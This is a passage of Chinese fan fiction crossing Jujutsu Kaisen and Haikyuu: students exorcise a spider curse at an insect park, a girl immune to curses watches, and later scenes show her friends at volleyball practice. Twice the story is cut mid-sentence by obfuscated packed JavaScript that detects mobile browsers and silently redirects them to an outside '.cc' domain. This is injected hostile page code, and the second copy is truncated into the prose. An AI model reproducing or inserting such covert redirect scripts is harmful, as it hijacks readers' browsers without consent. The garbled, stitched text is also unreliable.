美佳有点失望地看着趴伏在枝干上的蝴蝶。 “这是枯叶蝶吧,是蛮像树叶的,就是不好看。跟草坪上时不时飞过的白色黄色蝴蝶完全不一样啊。” 夏油葵翻动着跟售票处姐姐借的昆虫手册,找到了蝴蝶的那一页, “对,这是枯叶蛱蝶,形似枯叶,但它不是只有这点颜色的。” 夏油葵伸出手去拨动蝴蝶的翅膀,鲜艳的色彩展现在了美佳的眼前。 荧光蓝色占据了翅膀的大半部分,中上是一道亮眼的橙黄,翅尖是纯正的黑色。 “蝴蝶就是很漂亮的,只不过藏起来了而已。” “哇——” 美佳看的目瞪口呆,也忍不住伸手去碰。 蝴蝶扇动了几下翅膀,一个闪身飞走了。 它背上奇幻的色彩在飞动中一下一下的映入美佳的眼帘,直至消失不见。 “好漂亮!” 江头美佳的眼睛亮了起来,开始沉迷上了去打开蝴蝶的翅膀。夏油葵就肩负起记录的责任,美佳翻开一个,她查一个,再标记一下,回去记录在作业本上。 一切都进行的很顺利,江头美佳根本不想从蝴蝶园里出来。完全不想去看那些爬来爬去的虫子,只想得到蝴蝶的青睐。 “那我先去一下洗手间,等我回来的时候我们就要去下一个场馆了。” “好——吧——。” 美佳的心神全部都在停靠在她手上的蝴蝶上,头都不敢点,只是轻声地回复。 夏油葵常年平静的脸上被逗出了一抹微笑,摇了摇头把书包放下,直直走出了蝴蝶园。 蜘蛛园在夏油葵去往洗手间的必经之路上。场馆是封闭式的,有一条横线在门口拦着,上面挂着牌子,写着“禁止入内”,线后场馆的大门却是半开着的。 夏油葵随意的瞥了一眼就继续往洗手间走。 下一秒刺耳的尖叫声扎进了她的耳朵。 她捂着耳朵往后推了一步,确认了声音来源就是蜘蛛园内。是一个饱受惊吓的男孩的声音,甚至还有点耳熟。 夏油葵犹豫了一下便从拦截线下钻过去,跑进了蜘蛛园。 ———— “拿出点干劲来啊,七海!” “只是二级咒灵而已啦,又不是一级,有什么好怕的~” “据说一级咒灵可是用坦克也很难打死的程度,我们还差一点就能挑战了!” 东京咒术高专的两位一年级学生即将站上又一个属于他们的战场。 七海建人有些无语地看着自己的同窗, “我们还没有成功祓除呢,灰原。”普通的坦克本来也打不死咒灵,而且不要把出任务说得像打游戏挑战boss一样轻松啊。 人命只有一条,每一次对战都应该认真对待。 “而且我今天总有种不太好的预感。” 灰原雄闻言笑着大力拍了拍七海建人背部,把七海拍得一个趔趄, “放心吧七海,又不是第一次打二级咒灵,我们一定会成功的!” 七海停顿了一下, “......啊,对的,会成功的。” 他发现了同伴在颤抖的手,没有去拆穿。 在辅助监督的沟通下,他们成功进入了昆虫园。 灰原吐槽:“也不知道是怎么沟通的,就算咒灵不会随便离开自己的诞生地,但是只封锁一个场馆,其他的还在接待游客也有点太儿戏了吧?” “没事的,每一个场馆都是很大的,尤其是蜘蛛园。” “这个园主有一点自己特别的爱好,把蜘蛛园打造的最为用心。” 辅助监督在一旁解释道,并且把帐给放好了。 “好的,要去了!” 灰原雄大声的给自己加油鼓气,大步地跨过门前的拦截线,后脚却被线勾了一下,差点丢脸摔倒。 七海建人沉默地跟上他,突然大力地拍了一下灰原雄的背部。 “啊,好疼!”灰原反手勾着后背,疼得脸都扭曲了。 “回敬你的。”七海抽出来自己的刀,提前做好准备。 他语气坚定, “我们会成功的,灰原。” “嗯!” 二人慢慢向蜘蛛园内部走去...... 4. 小学篇 【记住,你的能力谁也不要告诉,知道了吗?!】 现在这是个什么情况? 灰原二人成功找到了二级咒灵——一个巨大的腿部锋利的蜘蛛。 头顶上伸出半个人一样的身子,不知道从哪里发出来的声音,听不懂,混乱的让人难受。 并且他们也成功发现了两个正在被咒灵追逐的孩子。 一个明显可以看得见咒灵,速度很快,上蹿下跳地躲避咒灵蜘蛛吐出来的蛛丝。 奔跑中露出来掩盖在刘海下的脸,满是惊恐。 另一个孩子看不见咒灵,只是在追逐前一个。跑累了还停下来休息休息换个方向继续追。 神奇的是咒灵完全忽视了这个孩子,所有的蛛丝都避开了她,全部朝着第一个孩子喷射而去。 不明所以的灰原二人差点以为追着男孩跑的女孩是什么大反派,操控着咒灵去追杀前面的男孩。 “不对,穿过去了?!” “什么?” “咒灵的蛛丝直接从那个女孩的身体穿过去了!” 七海揉了揉眼睛,被眼前的景象震撼到了。 就感觉那个女孩是一团云雾一样,任何攻击都从其中穿过,影响不了她一丁点。 “诶呀,别愣着了,快救人!” 灰原一个箭步冲了上去,捞起男孩就向外跑了起来。 “七海你先撑一下!我把这个孩子送出去。” “你去吧!”七海提着刀迎上了蛛丝。 在井田身后猛猛追的夏油葵终于可以彻底停下来松口气了。 她大口大口地喘着,心里暗暗称赞着井田的速度。 不愧是田径部的前辈,追不上一点啊! 真的再爱好运动也比不上专业的。 她慢慢降低了速度,扶着墙缓缓走着,扭着头关注正在跟“空气”对打的七海建人。 少年淡金色的及肩短发在空中飞舞着,利落的斜切刘海把犀利的双眸完全展露出来。 表情凝重,身姿灵巧,手中的宽刀缠满了布满黑色斑点的绷带,在空中富有节奏地挥砍。 夏油葵一时在一旁看得津津有味,感觉在观赏影视幕后的拍摄过程,周围全是绿幕。 等一下。 “这个校服......不是跟哥哥一样的吗?” 夏油葵下意识从兜里翻出手机确认一眼自己今天的行程有没有跟夏油杰报备,入眼是清晰的“收到”二字,放心地收回了手机。 “厉害,哥哥上的学校原来是在教怎么消灭那些脏东西。” 她左顾右盼, “应该不需要我了......但是好像也出不去了?” 七海与咒灵的战斗范围挡住了出口,夏油葵是不会被咒灵伤害,但是又不是不会被乱刀砍死。 “不能影响到他,先给美佳打个电话......打不通吗?” 帐阻隔掉了所有的信号,夏油葵只能在原地当个看客了。 另一边,灰原雄回归战斗,被突如其来铺天盖地的蛛丝一下惊得乱了阵脚。 “怎么突然变得这么快!” “不要小看二级咒灵啊!”七海建人在战斗的间歇找出间隙回复灰原,“刚刚不过是在恶趣味地逗孩子罢了。” “我们可是要杀死它的人,灰原!” “对!” 灰原雄的眼神变得坚定,找到了节奏,把咒力附在自己的双刀上寻着破绽去劈砍。 蜘蛛园外围的展柜已经被清出了,内部的却因为忌惮着咒灵没有进去清理。幸亏那孩子把咒灵引到了接近出口的地方,要不整个战斗场面将变得格外凌乱和惊悚。 七海在心里暗自计较着,却不想与二人僵持的咒灵也意识到了这一点,开始往后退,向场馆深处去了。 “别让他回去,灰原!” “知道了!” 灰原挣脱开缠人的蛛丝,一个腾空想要越到咒灵的后方,却被咒灵发现了破绽,拆了自己的一根蛛腿,直直朝空中刺去。 “灰原!” “......还没死呢。” 灰原雄捂着腹部用刀拄地,艰难地站了起来。鲜血从他的手下溢出,暗色的校服掩饰住了他的伤痛。 但是这样的伤害对于咒术师而言不过是家常便饭。 “我发现它的弱点了,在人身和蜘蛛的连接处!” “明白了!” 现在不是关注同窗伤势的时候,七海清楚地知道这一点。 他集中自己全部的咒力,一路高歌猛进,能强行在七三分之处制造弱点的术式对上了咒灵真正的弱点,其结果不言而喻! “......祓除了?” “嗯,祓除了......” 两个疲惫的少年同时坐倒在地上歇息。 他们身上的校服满是破损和划痕,身上大大小小的伤痕隐隐作痛,诉说着他们经历了多么磨人的一场战斗。 “轻轻松松~”灰原忍着痛挤出一抹潇洒的笑。 “是个普通的二级咒灵,只有速度和物理杀伤,还没有领悟出特殊的咒术能力。” 七海不理会同窗的装相冷静分析。 他们目前除了灰原腹部的伤口没有其他比较严重的受伤,只是单单被高强度的战斗折腾到有些力竭了。 夏油葵看见两个少年开始放松地交谈,就明白战斗已经结束。 她赶紧朝着出口跑去。快在这待了有一个小时,她已经想象到美佳这么久没见她回来该有多着急了。 “啊!” 突然剧烈的撕裂感从灰原雄的伤口处袭来,一只毛腿黑色蜘蛛从中钻了出来,被反应过来的七海砍死消散了。 “还没结束。” 七海握着刀的手止不住地颤抖,一股惊悸感顺着他的脊骨爬到他的心脏。 场馆黑洞洞的深处好像还有双眼睛一直在注视着他们。 还有一个二级咒灵?! 是双生?还是障眼法?! “你还能撑得住吗?”七海拿着刀再度起身,有些忧心同伴的伤势。 “……男人,怎么能说不行!”随意擦掉嘴角溢出的鲜血,灰原无视自己腹部已然变成半个窟窿的伤口挣扎着也要站起。 “刚刚那个咒灵是七海你祓除的,这一个就让我来!” 在这种情况下还不忘记比这些,不知道该说灰原雄是太客气了,还是好胜心太强。 闻言七海建人却没有吐槽,而是下意识咬紧了后槽牙,不知道该回些什么。 如果他再强大一些就好了,就可以让灰原安心地先行离开接受治疗,自己去面对剩下的那只咒灵。 现在他们与咒灵之间的距离是完全支持撤退的,却因为该死的任务时限必须解决完了再离开。 一股燥热的郁气憋在他的心间无处发泄。 夏油葵刚刚因为少年的痛呼停住了脚步,下一秒就被灰原腰腹处的血腥画面吓得愣住了。 她也不过是一个七岁的孩子,再怎么处变不惊也从来没有见过如此惨烈的伤口。 从她的角度刚刚好可以看见少年身上外翻的皮肉和地面上凝聚出的大摊鲜血。 夏油葵不自禁屏住了呼吸,灿金色的眼睛直愣愣地瞪得浑圆。 惊骇下还在试图运转自己生涩的大脑,想着自己能不能提供某些帮助。 “你们走吧。” 突如其来的少年音传入三人的耳朵,夏油杰信步走进了蜘蛛园。 他的头发不似往常般全部盘于脑后,而是留下一半随意披散在肩头,狭长的狐狸眼看向灰原雄,语气温和, “辛苦了,还能自己出去吧。” “......啊,可、可以。” 灰原雄的脑子还没转过来,身体已经先一步的松懈了。 他最憧憬的前辈如神兵天降般来到了他的面前。嘴上说着可以,身体已经跌坐在地上了。 “......七海,你来把灰原带走。” “好的。” 之后的战斗就不为人所知了。 祓除剩下的那只二级咒灵对于夏油杰来说轻松的狠,就是太会藏匿废了他一些时间。 辅助监督先行把灰原雄送去治疗,七海建人还坚.挺着在门口等待夏油杰归来。 “葵......就只有你一个人在了?” 夏油杰环视四周没看到那个矮小的身影,眼睛里透出一丝不爽。 “是的,前辈。灰原被辅助监督带走治疗了。” 敏锐的七海建人感受到了夏油杰的情绪,却不明白来源。 夏油前辈并不是个架子很大,需要人在门口列队迎接的人吧? 夏油杰看不到后辈脑子里的胡思乱想,思索了片刻突然提问: “七海你们没有把那个女孩先救出来是因为当时面对咒灵有点力不从心,无暇他顾了对吧?” 哪个女孩子? 金发少年的大脑突然卡住,又慢慢恢复转动。 夏油葵在咒灵面前丝毫不受其伤害的画面在他的脑海中调出播放。 当时确实是无法同时顾及到两个孩子。而且那个女孩也不会被咒灵伤害到,就没有去管了。 夏油杰关于消灭咒灵解救人类的正论是被他所知晓的。 七海微微紧张,有点预感到自己因为救人不及时要被前辈说教了。 他也不想去辩驳什么,但是那个女孩奇特的能力应该是要引起重视的。 “其实那个女孩......” “就是这样的,对吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380277|168439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>夏油杰打断了七海的话。明明是疑问句却说的言之凿凿,仿佛在现场亲眼看到了。 他的表情重新变得柔和,语气满是歉意, “那孩子叫夏油葵,是我的妹妹,这次给你们添麻烦了。” “我说的意思你懂吧,七海。” 如果眼前站的是灰原的话,可能夏油杰会把话点破去说,但是七海的领悟能力他是比较信任的,话说到这种程度就足够了。 他还是蛮了解自己这两个后辈的,不是五条悟那种只顾自己high的家伙,还是会把普通人的性命排在第一位的。 不去救,要不是真救不了,要不就是不需要去救。 夏油葵明显属于后者。 在那种一级咒灵大范围的侵害之下,她不会被伤害的能力肯定已经暴露无遗了。 但是能多瞒一会儿是一会儿吧。 他不确定是否会有某些变态把夏油葵绑去“拆”了。 “......啊。我知道了前辈。”七海有些吃惊,并且懂了。 “灰原那边我也会去转达前辈的歉意的。” “那就麻烦了。” 夏油杰眯着眼轻轻拍了拍靠谱后辈的肩膀。 “好好回去休息一下吧。” 其实就算他不过来以两个少年的能力也是可以完成这次任务的。 但是来了以后才知道原来后辈的打法是如此不知道收力的莽撞。 看来以后要多关注一下了。 —— 夏油葵不是故意不等夏油杰的。 她出了蜘蛛园之后就被泪眼汪汪的美佳狠狠地抱住了。 小姑娘原本只是有一些心急和害怕。一半是因为突然失踪的好友,一半是因为突然出现的夏油杰。 她等了十分钟没见到夏油葵回来就先去了卫生间,然后就立刻跑到门口寻求工作人员的帮助。结果迎面就撞上了正要进门的夏油杰。 虽然她觉得夏油杰管好友管的太严了,总吐槽他,但这并不妨碍她怕他。 那么高!那么壮!走进就感觉被乌云罩住了!而且今天格外的面无表情,是个孩子都会怕的吧? 但现在她不仅仅是害怕了,她受到了惊吓。 她站在门口等待迎接到的首位并不是夏油葵,而是两个满身都是血的少年! 身旁陪着美佳的工作人员也被吓得捂住了嘴,反应了一会儿才着急忙慌地挡住了美佳的眼睛。 但此时美佳已经看得清清楚楚明明白白了。 细碎的呜咽在她的喉咙里发出。她不敢去推开捂住眼睛的手,只能不住挥舞着双臂,跺着脚,来吸引自己渴望的那一份安全。 没几秒,她被夏油葵抱住了。女孩身上熟悉的洗衣液香味让她卸下了防备彻底放声大哭了起来。 “呜......他们......我怕......葵......” 夏油葵回抱住怀里的美佳,轻轻在她背部拍着给她顺气,还不忘向旁边的工作人员表示歉意。 “我们回家吧,小葵,我之前联系妈妈来接我们了。” 哭够了的美佳吸了吸鼻子,仰着满是泪痕的脸看向夏油葵。 她的情绪完全发泄出来,已经把夏油杰忘在脑后了,现在只觉得好累,想回家好好睡一觉。 夏油葵从兜里掏出手帕轻轻的给美佳擦脸,只答了声“好”,也没主动提及要去等夏油杰。 她余光看向仅剩的战损版七海,也不知道要不要在这种情况下暴露自己跟夏油杰的关系,不如就先回家。 如果夏油杰有事想跟她讲的话自然也会回家的,就像之前当“背后灵”的那段时间一样。 果然,夏油杰一回家就把夏油葵拎到了他的房间。 夏油葵仔仔细细地打量着夏油杰的身体,发现没有伤口后才惊觉二人已经坐在床上相对无言很久了。 夏油杰微微愣神整理了一下思绪。 原本他没有来昆虫园的行程。 又不是多么八卦,他也不了解学弟们的动线,而且普通的二级咒灵也不需要有人在旁边陪护,身为咒术师的学弟早晚要学会独当一面。 夏油葵给他发的信息他也看了,以夏油葵的自理能力完全可以不用大人陪同,并且还有朋友一起,两家的大人都很放心,他也没什么需要担心的。 但是他在与夜蛾老师闲谈的时候突然知道这两拨人去的竟然是同一个地方,顿时警报就在他的大脑里拉响了。 有一种不妙的预感在他脑海里坐旋转木马,促使他赶到了昆虫园去看看现场。 可以说来的正是时候,瞒住了夏油葵的能力,也顺手帮学弟完成了任务。 所以已经是个happy ending了,他为什么不直接回学校,还要回家一趟呢? 5. 小学篇 就是一种下意识的行为。 也算是一种直觉。 夏油杰自认自己不是什么直觉系的生物,无论是生活还是战斗都是凭借着努力与经验。 他的两个同窗都已经领悟了那个“咻的一下”又“啪的一下”的反转术式,而他只能一个个地吞咽恶心得令人作呕的咒玉,一次次经历更高强度的战斗,才可以变得更加强大。 但是在关于夏油葵的事情上,他的直觉又意外的好用。 之前的成功案例让他在面对夏油葵的时候稍稍抛下了自己的逻辑思维,凭着感觉去对待。 所以这次是有哪里不对劲呢? 奇怪的是这次他的直觉在给了他灵感之后又立刻抛下了他,他只能重新拿起自己的思维来填补这部分空白。 “......那里不是闭馆吗?你进去干什么?” “因为听到了有人在里面尖叫。”夏油葵乖巧回复。 “有人尖叫你就要跑进去吗?为什么不去找工作人员?” “声音很熟悉,下意识就跑进去了。” ...... 都是夏油杰意料之中的回答。他知道他的妹妹是有一点助人情节在身上的,虽然这种不太理智的救人方法有点不是她的人设,但是情况紧急的话也可以理解。 此时的夏油杰没有意识到自己也已经习惯于夏油葵的成熟,也变成了会为夏油葵的说辞找理由的那种人。 比起又陷入沉默的夏油杰,夏油葵才是这场谈话的主导方。 她知道很多东西,比夏油杰认知中的多得多,一直也没有跟别人说过。 她被要求着不对别人谈及自己的特殊,但现在她发现特殊的并不是只有自己。 之前突如其来的甜品局就让她察觉了一丝不对劲,后来夏油杰莫名其妙在她背后刷新更是加重了这种感觉,直到今天亲眼看见夏油杰的学弟在跟看不见的东西战斗,更是让她确定了一件事情——她的特殊被发现了。 与此同时,她也发现了对方的特殊。 世界上有她这种不会被“脏东西”伤害的人,也有那种可以消灭“脏东西”的人。 她好像找到了自己的同类,但又是完全不同的。 所以她要说出来吗?要把自己的秘密告诉同样特殊的夏油杰吗? 奶奶一边跟她说着要相信家人,一边让她不要把能力告诉任何人,那现在碰到了同样具有某种能力的家人,还是要继续隐瞒下去吗? 放在以前的夏油葵身上是完全不会去纠结这件事情的。 但是现在的夏油葵离开了依赖她的奶奶,被夏油家全心全意地对待着,也忍不住想要去依靠,想要去倾诉,像一个膝盖蹭破一点皮就可以在家人面前嚎哭的孩子一样,被全部接纳,温柔地呵护着。 “......战斗结束了怎么不赶紧走,你还想做什么?”或者说你能做什么? 在夏油葵犹豫的时候,夏油杰已经在大脑里复盘成功,也打断了夏油葵的思考。 “……因为当时黑发哥哥看着状态很不好,我被吓住了才没想起来走。” 女孩急中生智说了一半的真相,也暗戳戳地抱怨了一下自家哥哥都不关心她害不害怕,只顾着寻找他模糊不清的念头的答案。 “哥哥你们是在跟什么看不见的东西在战斗吧。我完全看不到,好像也没有被伤害到。” “是什么东西啊?” 她又反客为主,戳破了夏油杰一直都没有明说的窗户纸。 “而且哥哥的动态不是在国外的海边度假吗?” 比起夏油杰不痛不痒的问话,夏油葵的问题就犀利多了。 一下就让夏油杰从不关心妹妹的理亏中抬头,回想起了那堪称从地狱走过的往事。 那次任务中他见到了五条悟口中唯一现存的天与咒缚禅院甚尔,差一点丧命在他手里,任务也完完全全的失败了。 比起在生死一线领悟反转术式的五条悟,他就是真正的败犬,想救下谁,却又毁了谁。 他只能去怨恨自己还不够强大,用训练与战斗来压抑内心的酸涩。 夏油杰的表情愈发冷了,像一座石像一样漠然的注视着一切, “......是夏令营结束之后才发的。”为了向家人展示自己的现状,刻意抹去了其中关于任务的痕迹。 他想到了不开心的事,突然变得烦躁, “今天就这样吧,我也先回宿舍了......以后不要出了事就凑上去。” “还有......” “别跟爸妈说。” “好的。”夏油葵点头,目送着夏油杰离开了家。 在家门合上的“咔哒”一声中,夏油葵再也掩饰不住眼里的失望。 被敷衍,被拒之门外了啊...... 看似是夏油杰离开了家,实际上是夏油葵被隔绝在他的世界之外。 她都那么直白地问出来了,却没有得到相应的回答。她的哥哥并不打算把有关“脏东西”的事情告诉她,甚至都不愿意告诉她那些东西叫做咒灵。 这是她在浅金发少年的口中听到的。 是不是她把自己的秘密说出来了结果就会不一样呢? 如果她告诉夏油杰自己不仅不会被咒灵伤害,还可以通过触碰保护身边的人也不被咒灵伤害就可以进入夏油杰的世界了呢? 这一切都不得而知了。 夏油葵不是一个会在冲动下做决定的人。 今天她就是不想把这件事情告诉夏油杰。 或许是她不喜欢夏油杰半披散的丸子头,觉得邋遢,也或许是她没有从夏油杰口中听到自己想听的话。 对,她就是想听到夏油杰安慰自己,想听到她的哥哥问她今天看到这些混乱的场面有没有感觉到害怕。 在过往的种种中她从没被吓到过,只这一次,却没有得到亲人的回应。 她有点失落,有点难受,有点......想流泪。 一种委屈的感觉第一次袭上她的心头,来势汹汹。 反正她熄灭了自己想要倾诉的火苗,重新回到了防守的姿态。 不要太矫情了,夏油葵。 她暗暗对自己说。 等到......哥哥什么时候把发型换回来,就告诉他吧。 但莫名的,她觉得这一天不会很近,她的哥哥好像一步一步地走远了...... —— 夏油葵的校园生活在按部就班地进行着。 不知道从什么时候开始放学后的运动就彻底变成了排球训练,连在操场跑圈都变成了为打排球做锻炼。 “小美佳,再来一个!” “好累啊,黑尾前辈。” 这样抱怨着的女孩还是任劳任怨地给鸡冠头男孩托了一个球。 男孩高高跃起,手掌稳准狠地击打在位置托的正正好好的排球上,一道优美的弧线从空中极速划过。 “砰!”排球狠狠砸向地面,弹跳着向远处滚去了。 “nice!”黑尾铁朗毫不吝啬自己的夸奖, “小美佳,你的托球真的是越来越有水平了!” “是吗?”粉发女孩嘴上疑惑着,脸上却是掩饰不住的骄傲, “还可以吧,要不要再来一球?” “好!那就拜托了~” 刚刚不是还在喊累? 一旁抱膝坐在地上休息的夏油葵看得透彻。 真是被吃的死死的啊。 说起他们的相遇,就是一个巧合。 夏油葵不想让美佳断了锻炼的习惯,在雨天找到了可以接纳她们的排球训练室。 负责管理的松下老师看见她们两个生面孔,从教练椅上起身慢悠悠地走过来,笑眯眯地递给他们一个排球, “下雨天很可恶的对吧。” “拿着球随便找个角落去玩吧~” 女孩们不好意思拒绝长者的善意,收下了排球却不知道该怎么玩。 美佳抱着排球发懵地看着旁边练习垫球的学长们。 他们全神贯注地盯着自己的排球,小小年纪动作就已经非常娴熟了,垫球基本不用挪动位置。 “......我们也要这样玩吗?”美佳看向同样在关注学长们动作的夏油葵。 女孩金色的双眸同样专注,被学长的动作牵引着,好像在逐帧分析该怎样垫出这样稳的排球。 “不用的,我们不这样玩。”夏油葵观察后得出了结论, “我们只有一个球,两个人不够用。” 最后是因为这个原因才不这么玩排球的吗?! 难不成不应该是因为我们根本不会打排球的吗?? 美佳被好友的脑回路惊呆了,真怕夏油葵心血来潮又去要一个排球,赶紧提议 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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没有被解救的女孩全程都在生闷气,一直鼓着脸学着黑尾铁朗的动作抛球、垫球、托球。 脸上写满了抱怨,却认认真真一丝不苟地学习着。 黑尾铁朗真的很难不被逗笑,嘴一秃噜就把心里面想着的话说出来了, “草莓大福,击球是要用手臂的这个位置的,要控制好哦。” “嗯......嗯?”江头美佳下意识应了一句,又瞬间反应过来称呼是不是有点不对劲。 黑尾也反应过过来了,却是自觉好搞笑,憋不住自己乐开了,嘴里说着“抱歉”,脸上的笑根本止不住。 江头美佳敢怒不敢言,转过头蛋花眼可怜地看向一旁认真垫球的夏油葵。 夏油葵也不负她所望,大脑搭载在了排球上,话语直接就从嘴里吐出来了, “排球前辈别这样叫草莓大福好吗?” “草莓大福怎么可能是草莓大福呢?” ...... 排球脱手掉在地上渐渐滚远了,三个人都陷入了沉默当中。 “噗嗤。” 还在摆弄游戏机的研磨手指上的动作稍稍停顿,然后莫名其妙地笑了一声。 反正事后夏油葵安抚了江头美佳好久才得到了原谅,而黑尾铁朗则是真真正正被美佳拉进了黑名单,说一句话都要别扭好久的那种。 但有可能是春季阴雨天较多,有可能是黑尾太喜欢跑到操场上挑选队友,双方的接触慢慢增多。 现在黑尾铁朗已经可以拿捏住江头美佳了,甚至把她培养成了一个可以陪他训练的二传。 再也不担心研磨疲惫的时候没人给他托球了~ “再来一球!”男孩擦了擦额角的汗,声音依旧高昂清脆。 “好麻烦~”女孩小声的吐槽一句,眼睛却是亮晶晶的,从男孩手里接过排球。 夏油葵眨了眨眼睛,唇角勾出一抹笑, “真耀眼啊。” 一旁的研磨身子靠在墙上瘫软地坐着,手指缓慢无力地拉下盖在脸上的毛巾,几声意义不明的哼唧声从他的喉咙里发出,像是打呼噜的猫。 “……明明就是刺眼好吧……” 又是不想再陪幼驯染打排球的一天。 6. 小学篇 孤爪研磨不热爱排球。 当然也不讨厌。 他无法拒绝幼驯染陪他打排球的请求,但也不打算拿命去拼啊! 妹妹头男孩渐渐靠不住墙壁,歪倒滑落在地板上,只有胸口轻微的起伏彰显着生命的存在。 啊,好辛苦的样子。 夏油葵有一瞬被孤爪的状态惊到,伸手帮他把黏在脸上的发丝拨开了,顺道还探了一下男孩的鼻息。 今天的孤爪研磨有点过于勤奋了。说跑圈就跑圈,说托球就托球,也没有偷偷掉队,直到筋疲力竭了才默默退到一旁躺尸。 “你们......吵架了?” 还得是孤爪研磨很对不起黑尾铁朗的那种。要不然研磨为什么这么拼命,黑尾铁朗也没有制止研磨这种不要命的锻炼方式。 别看平时黑尾追在研磨后面让他运动,等人真的累到了谁都没有黑尾更加心疼研磨。 简直就是孤爪研磨的在世男妈妈。 男孩微弱的声音从唇齿间狭窄的缝隙里传来,“没有......” 不如说是变相救了他一命。 昨晚上玩游戏有一个关卡的boss太难攻克了,一不小心就熬夜过了头,被起床去上厕所的母上大人抓个正着,险些被暴怒的母亲捶打成一张猫饼。 “铁朗,研磨这孩子还是精力太旺盛了,麻烦你帮他消耗一下。”孤爪妈妈皮笑肉不笑地交代了这么一句。 虽然现在的状态不过也是猫饼一张,但总比继续接受母亲怒火来得要好一些。 研磨已经没有力气从头到尾跟夏油葵解释一遍。二人之间的交谈在那句“没有”之后就陷入沉默,一时安静的仿佛躺在地板上的研磨已经睡着了。 ...... “你怎么不去换她?” 男孩的声音突兀地响起。 “嗯?”女孩的注意力再次回归到“已阵亡”的友人身上,眼中闪过一丝诧异。 是在好奇吗? 实在是孤爪研磨社恐的形象太过于深入人心,即使是面对熟人也有着属于自己的拘谨,不像是会把自己的好奇直白抛出的类型。 “换美佳下来休息吗?” “......嗯。” 刚刚那个问题好像把男孩休息积攒出的力气用尽了,眼睛微微张开一条缝,含糊地回应了一声。 夏油葵见状重新把毛巾盖在研磨的眼睛上,稍稍遮挡住排球场顶部刺眼的灯光。 “美佳不是玩得很开心吗?” 才没有。 研磨暗自撇了下嘴。 他因为自己社恐的性格常常处于一个观察别人的位置上,洞察力也比起同龄人来得更加敏锐。 他可以确定在某种程度上美佳跟他是同一类人,同样的不喜欢运动。 就算是一时某种成就感操控住头脑让人感慨出“好像运动也不赖嘛~”,之后随之而来的疲惫感和重复的枯燥感也会消磨掉这种热情,只等待着某一次拖延渐渐抛弃掉运动。 美佳忍着累给小黑托球不过是被夸奖的满足感还没退却。等到油尽灯枯,支撑她的只会是不知道该如何叫停的犹豫。 这种感觉孤爪研磨太懂了,如果不是为了陪他的幼驯染......好吧,如果不是他的幼驯染太会调动他的积极性了,他绝对不会坚持打排球的。 但是他没懂夏油葵是怎么想的。 就像是小黑会迁就他的体力,夏油葵就是江头美佳的御用发言人,体贴地照顾到了美佳的方方面面,不应该还没看出来美佳已经没精力了。 好奇的泡泡在他疲倦到放空的大脑里沸腾着,让他脱口而出了那句问话。 男孩的表情没有逃过夏油葵的眼睛。本来平时研磨的脸上就藏不住心事,现在更是明显了。 “我在等她跟我说。”夏油葵解释道。 可不是什么恶劣的心思,那种“你求我我就帮帮你”的心态,就是字面意义上的在等着美佳主动说出要休息。 夏油葵松开了抱着双腿的手臂,双腿伸直交叠,双臂环于胸前,后背把重量传递到墙壁上,眼睛直直地看向球场上的二人。 “研磨你也能看出来的吧,美佳不好意思拒绝别人。” 之前再讨厌黑尾也会乖乖回话,现在再累也没说暂停休息一下。 美佳的爸爸妈妈很宠她,但还是让她养成了近似于讨好型的人格,大概率是因为美佳交友的环境有些恶劣。 怎么说呢,就差把不能发胖写到校规里面了,学校里被孤立的人不是怯懦寡言的,就是肥胖臃肿的。 让一个胖胖的女孩自信地相信自己的美丽是很难的,至少对于美佳来说很难。 即使现在她已经是微胖状态了,也还是带着那种不敢开口的自卑。 连朋友都不好意思拒绝,还能拒绝谁呢? “如果我站得离美佳很近的话估计已经在用眼神求助我了。”但是还是不会张开嘴来表达自己的想法。 “我就想等她开口叫我过去。” 夏油葵灿金的眼眸中闪烁着自己都不曾明晰的狡黠。 她全心全意为自己的好友着想着,其实心底里也藏着些许好奇。 好奇美佳到底能在自己的影响下变成怎样的一个人。 男孩的眼睛被毛巾盖着没有看到女孩那点微表情,只是在心中暗暗感慨真是可怕的温柔。 这种帮助好友转变的做法暗中带着些强势,打破了一点研磨对于夏油葵的印象。 如果他这么被小黑“算计”的话会有些生气的吧? 算了,这种算计,被算计就算计了吧。 不过是他觉得也没什么,顺水推舟听小黑的安排罢了。 “研磨!” “小葵!” 球场上的二人不知道什么时候停了下来,齐声向这边喊出自己好友的名字。 研磨被叫得一激灵,用胳膊肘撑起半个身子。眼睛上的毛巾受重力控制掉落了,显露出来男孩琥珀色的瞳孔。 “你看,我就说很像吧~”黑尾得意地看向美佳。 不远处同是黑发金眸的男孩女孩一起朝球场看过来,像极了一对亲兄妹。 “......哼。”美佳吃醋了。 夏油杰都没有跟夏油葵长得这么像好吧! 她不动声色地捋了一把自己脑后被扎成马尾的暗粉色头发。 我要把这玩意儿染成黑的! 夏油葵不知道那边两个人在聊些什么,有点欣慰地看着美佳,脸上写着“快看,我家孩子都会大声说话了”。 “......真的。”有点神经。 好不容易睁开眼睛的研磨含糊着吞下后半句吐槽,继续躺回地板上挺尸了。 —— 愉快的课后锻炼结束,夏油葵跟伙伴们告别,踏上了熟悉的归家之路。 身着深蓝色运动服的少年蹲守在夏油葵必经的电线杆旁。 少年少见的没有发现女孩的靠近,手指穿插过发丝的缝隙抱紧了大脑揉搓,可以想象到低垂的脸上是怎样一副苦恼的表情。 “夜斗?” 夏油葵彻底走近,喊出了少年的名字。 “啊?啊!” 少年立刻窜起身,发丝凌乱散落,眼神飘忽不定,胡乱在原地跺了几下靴子,好似是想用做这几秒动作的时间想明白什么人生大事。 “额,那个.......” 他踌躇了一瞬,故作镇定的斜靠在电线杆上摆出一个自认为帅气的pose, “放学真早啊,小葵~” 看来是完全没想明白。 